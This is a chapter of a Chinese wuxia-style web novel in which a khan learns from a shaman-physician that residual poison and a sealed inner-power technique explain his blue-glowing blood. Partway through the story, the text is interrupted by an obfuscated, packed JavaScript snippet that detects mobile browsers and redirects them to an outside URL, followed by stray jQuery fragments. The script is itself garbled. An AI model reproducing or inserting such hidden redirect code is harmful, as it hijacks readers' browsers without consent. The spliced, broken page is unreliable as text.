103. 山海無所蹤(2 / 2)

半山煙雨 聽竹妃子 8997 字 2024-09-19

寒星挑了挑眉,“對啊,不然本汗當初為什麼要問你要解藥。”

“大汗中此毒,可是中了十餘年之久?”

“差不多吧,約莫有十二三年了,有什麼不妥嗎,本汗不是已經服下徹底的解藥了嗎?”

巫醫躬身跪在地上,“大汗有所不知,黃昏雨此毒雖然不會立時要了人的性命,卻最是細遠綿長,把人折磨得苦不堪言,中毒者如果在一年之內服下解藥,自然無恙,可若是長久地服用此毒,此毒便會逐漸散入肺腑,即便最後服下了解藥,也無法徹底清除體內餘毒……”

寒木不待他說完,上去一把揪住他的衣領,“你滿嘴裡胡說些什麼!”

寒星輕咳一聲,“木頭,讓巫醫把話說完。”

寒木語氣裡帶著脅迫的意味,“你最好是能把大汗治好,否則,你也想彆活了!”

巫醫不為所動,繼續問寒星,“這些年來,大汗可有過什麼不適之症嗎?”

寒星想了想,突然忍不住笑了起來,“不瞞巫醫,我從前經常受傷,身上也經常是新傷疊舊傷,所以,我並不曾留意有沒有什麼不適之症,換句話說,我這副身體就從來沒好過。”

“這便是了。”

寒木不滿,“什麼是不是的,你且說,到底能不能把大汗治好!”

巫醫歎了口氣,“十年之久,黃昏雨早就已經侵入大汗的五臟六腑,縱然扁鵲在世華佗再生也難醫治,寒木將軍,你就算這會子殺了我,也是無濟於事啊!”

寒星皺眉道,“可為何我之前從來沒有出現過今天這種狀況?”

“大汗體格強健,又是習武之人,黃昏雨的餘毒雖然存在於大汗體內,但它一直被大汗的內力所壓製,今日大汗應該是為寒氣所傷,又兼憂思過重,這才給了這餘毒可乘之機。”

寒星思忖片刻,抬手指了指寒木,“巫醫,你給他也瞧瞧。”

“瞧我做什麼,我又沒有……”寒木的反應慢了半拍,他之前光顧著擔心寒星了,忘了自己和寒星其實差不多是一個時間中的毒,也是一個時間服下的解藥,

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297078|131290||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

這會子才回過味來。

巫醫依言給寒木把了把脈,眉頭卻是越皺越緊,“奇怪,為何寒木將軍反而無事呢。”

他重新去探寒星的脈息,半晌,他從藥匣中取出一個鋒利的薄片,還有一個銀製小碗,“大汗,為了穩妥起見,我得取一點您身上的血,得罪了。”

寒星點點頭,爽快道,“取吧。”

巫醫找準穴位,小心翼翼地取了一小抔寒星的血,他詫異地瞪著碗中盛著的鮮血,目光漸次變得惶駭不安,“這,這……”

幾人瞧著巫醫古怪的模樣,也湊到碗邊細看,一時不由得都愣住了。

碗裡的血,居然是藍色的。

寒星怔了怔,隨即咬破自己的小指,鮮紅的血緩緩滲出,他抬指問道,“這是怎麼回事?”

巫醫解釋道,“大汗有所不知,我方才取血的穴位是少府穴,此穴連同心脈,正是心經氣血聚集之處。”他頓了頓,遲疑地說,“此血性寒,所以才會散發出藍色幽光,這並不是中毒所致,倒像是走火入魔的樣子,大汗可是修煉了什麼武功秘籍,亦或是什麼內功心法?”

寒星恍然大悟,“我明白了!是憐冰決!”

巫醫麵露詫異之色,“大汗所說的憐冰決,可是那霜寒十四州的內功心法?”

“正是。”

“霜寒十四州”是寒星生父依拉洪的獨門武功,總共十四招,其中最厲害也最難領悟的一招,莫過於內功心法“憐冰決”。

憐冰決既可凝雪為冰,破刃封喉,取人性命,亦可心懷蓮花,慈悲萬物,解毒療傷。

寒星此前,便是靠著霜寒十四州的前十三招,打敗天下無敵手,而那日,他在狼峰嶺獨戰群狼,意外領悟了憐冰決“憐”之一字“慕往閔來”的真諦。

寒星從前一直以為,他是因緣際會,才掌握此法的,如今想來,這憐冰決怕是早就已經存在於他的體內,隻是他一直未能成功發揮出它的威力,直到那日遇到碧眼狼王,憐冰決的內力才被激發了出來。

寒星想了想,抬指解開衣裳,露出自己心口處那塊如矛似旌的圖案,他從前一直以為這是胎記,如今想來,怕是憐冰決的封印。

寒星問巫醫道,“我父親身上是不是也有這樣的痕跡?”

巫醫定睛一看,驚呼道,“不錯,果然和老汗王身上的一模一樣!”

此刻,寒星的心口處正散發著淡藍色的幽光,他垂眸凝視片刻,將手掌覆在上麵,心中一時百感交集。

寒星從前是宰相府的暗衛,每天都在刀尖兒上摸爬滾打,身上亦是大傷小傷無數,奇怪的是,無論他受的傷有多嚴重,都不會在他的身體上留下一星半點的疤痕,寒星還以為是自己天賦異稟,此刻他才明白,原來是存在於自己體內的憐冰決一直在保護著他。

“巫醫可知,這憐冰決為何會在本汗身上引起反噬?是體內殘存的黃昏雨的緣故嗎?”

巫醫認真琢磨了一陣兒,有些不確定地說,“或許……或許是因為大汗今日勞心勞神,又在冰天雪地裡沾染了寒氣,一方麵給了餘毒反撲的機會,另一方麵也激發了憐冰決的內力,黃昏雨害主,憐冰決護主,所以才會引發大汗身上的不適之感,大汗掌握憐冰決的時間尚短,還不能得心應手,運用自如,假以時日,或許便可無礙了。”

寒木急道,“或許或許,又是或許,你能不能給個準話啊!”

巫醫麵有慚色,“大汗恕罪,我不會武功,對憐冰決也不甚了解,我隻能根據黃昏雨的毒性加以推斷,可是我也不確定到底是不是這樣。”

寒星倒是一臉淡然,“那,依你之見,本汗體內殘存的黃昏雨要不要緊?”

“按理說,這憐冰決在解毒一事上是有奇效的,方才我探了大汗的脈息,又探了寒木將軍的脈息,發覺大汗體內的黃昏雨毒量甚微,而寒木將軍體內的黃昏雨則明顯要多出許多,所以我才奇怪,為何大汗有事,而寒木將軍反而無事。”

寒星點頭道,“所以說,這憐冰決是在幫著本汗肅清體內的黃昏雨餘毒?”

“應該是這樣。”巫醫猶豫了一下,“大汗若是想弄清楚這憐冰決的來龍去脈,這世間有一人或許能解大汗的疑惑。”

“何人?”

“山海客。”

上一頁 書頁/目錄 下一章